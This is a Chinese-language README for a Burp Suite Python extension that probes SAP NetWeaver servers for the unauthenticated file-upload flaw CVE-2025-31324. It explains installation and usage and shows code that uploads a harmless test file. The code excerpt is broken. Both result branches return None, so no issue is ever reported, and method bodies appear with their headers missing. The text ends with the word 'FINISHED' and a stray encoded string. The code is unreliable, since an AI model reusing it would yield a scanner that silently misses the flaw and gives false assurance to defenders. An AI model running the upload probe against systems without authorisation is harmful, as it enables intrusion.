CVE-2025-31324 Burp Suite 扫描器
项目概述
本项目是一个专为 Burp Suite 设计的 Python 扩展插件,旨在主动检测 CVE-2025-31324 漏洞。该漏洞是 SAP NetWeaver Visual Composer 组件中一个被评分为 10.0(严重)的未授权文件上传漏洞,攻击者可以利用 /developmentserver/metadatauploader 端点上传恶意文件,从而实现远程代码执行。
此插件通过模拟一个无害的文件上传请求,并分析服务器响应,帮助安全工程师在授权测试中快速、准确地定位该高危漏洞。
核心功能
-
主动漏洞探测:针对目标 SAP NetWeaver 服务器的
/developmentserver/metadatauploader端点,主动发送构造的测试文件上传请求。 -
智能响应分析:通过分析 HTTP 状态码(特别是 200 OK)及响应内容,判断文件上传是否成功,从而确认漏洞是否存在。
-
精准结果报告:生成的问题报告不仅包含漏洞描述和风险等级,还附带了用于验证的 HTTP 请求/响应证据,方便审计和复现。
安装指南
系统要求
- Burp Suite:专业版(社区版可能受限于主动扫描功能)。
- Jython:独立的 JAR 包,用于在 Java 环境中运行 Python 代码。
安装步骤
-
配置 Jython 环境
- 从 Jython 官网 下载独立的 Jython JAR 包。
- 打开 Burp Suite,导航至
Extender->Options选项卡。 - 在
Python Environment部分,点击Select file...,选择你刚刚下载的 Jython JAR 文件。
-
加载扩展
- 将提供的插件代码保存为一个
.py文件,例如cve_2025_31324_scanner.py。 - 在 Burp Suite 中,转到
Extender->Extensions选项卡,点击Add。 Extension Type选择Python,然后在Extension File中选择你刚刚保存的cve_2025_31324_scanner.py文件。- 点击
Next,观察Output选项卡,如果看到CVE-2025-31324 Scanner loaded successfully的输出,则表示加载成功。
- 将提供的插件代码保存为一个
使用说明
基础使用示例
- 设置扫描目标:在 Burp Suite 的
Target选项卡中,将目标 SAP NetWeaver 应用添加到扫描范围。 - 执行主动扫描:在需要测试的请求上右键,选择
Do an active scan,或者通过 Burp Scanner 配置专门的扫描任务。
核心代码与注释
以下是插件中用于构造攻击请求和验证漏洞的核心代码片段:
# 核心功能:构造并发送测试文件上传请求
def doActiveScan(self, baseRequestResponse, insertionPoint):
# 1. 目标检测:仅针对特定的漏洞端点
request_info = self._helpers.analyzeRequest(baseRequestResponse)
url = str(request_info.getUrl())
if not url.lower().endswith("/developmentserver/metadatauploader"):
return None
# 2. 漏洞验证:构造一个无害的文本文件上传请求
test_filename = "test_cve_2025_31324.txt"
test_content = "CVE-2025-31324 test file"
boundary = "----WebKitFormBoundaryTest1234"
# 构建 multipart/form-data 的请求体
body = (
"--{}\r\n"
'Content-Disposition: form-data; name="file"; filename="{}"\r\n'
"Content-Type: text/plain\r\n"
"\r\n"
"{}\r\n"
"--{}--\r\n"
).format(boundary, test_filename, test_content, boundary)
# 3. 构造完整的 HTTP 请求
headers = [
"POST {} HTTP/1.1".format(request_info.getUrl().getPath()),
"Host: {}".format(request_info.getUrl().getHost()),
"Content-Type: multipart/form-data; boundary={}".format(boundary),
"Content-Length: {}".format(len(body)),
"Connection: close"
]
request = "\r\n".join(headers) + "\r\n\r\n" + body
# 4. 发送请求并接收响应
check_request = self._helpers.stringToBytes(request)
response = self._callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), check_request
)
# 5. 结果判定:通过状态码判断是否存在漏洞
response_info = self._helpers.analyzeResponse(response.getResponse())
status_code = response_info.getStatusCode()
# 如果返回200,则认为可能存在漏洞
if status_code == 200:
# 创建并返回一个自定义的漏洞报告
return None
# 核心功能:自定义漏洞报告,包含详细的上下文信息
def __init__(self, httpService, url, httpMessages, name, detail, severity, confidence, evidence):
self._httpService = httpService
self._url = url
self._httpMessages = httpMessages
self._name = name
# 将证据格式化后附加到详情中
self._detail = detail + "<br><br><b>Evidence:</b><ul><li>" + "</li><li>".join(evidence) + "</li></ul>"
self._severity = severity
self._confidence = confidence
# 提供漏洞的权威背景信息
return "CVE-2025-31324 is a critical vulnerability in SAP NetWeaver Visual Composer, allowing unauthenticated attackers to upload malicious files, potentially leading to remote code execution. CVSS Score: 10.0."
def getRemediationBackground(self):
# 提供清晰的修复指引
return "Apply SAP Security Note 3594142 immediately to patch the vulnerability. Restrict access to the /developmentserver/metadatauploader endpoint."
典型使用场景
- 渗透测试:在对 SAP 系统进行黑盒测试时,用于快速发现未授权的文件上传点。
- 漏洞验证:在获得漏洞情报(如 SAP 安全公告)后,用于验证内部系统是否已经修复该漏洞。
- 安全评估:作为自动化扫描的一部分,定期对关键业务系统进行健康检查。
注意事项
- 合法性:此工具仅用于授权的安全测试。未经许可对任何系统进行测试是非法且不道德的。
- 无害性:插件上传的是一个纯文本文件,不会对目标系统造成破坏。FINISHED 6HFtX5dABrKlqXeO5PUv/8FoRqJqmGG4RrDuNwT/PcfC4RiU6CX5ggnJqa9KNA9O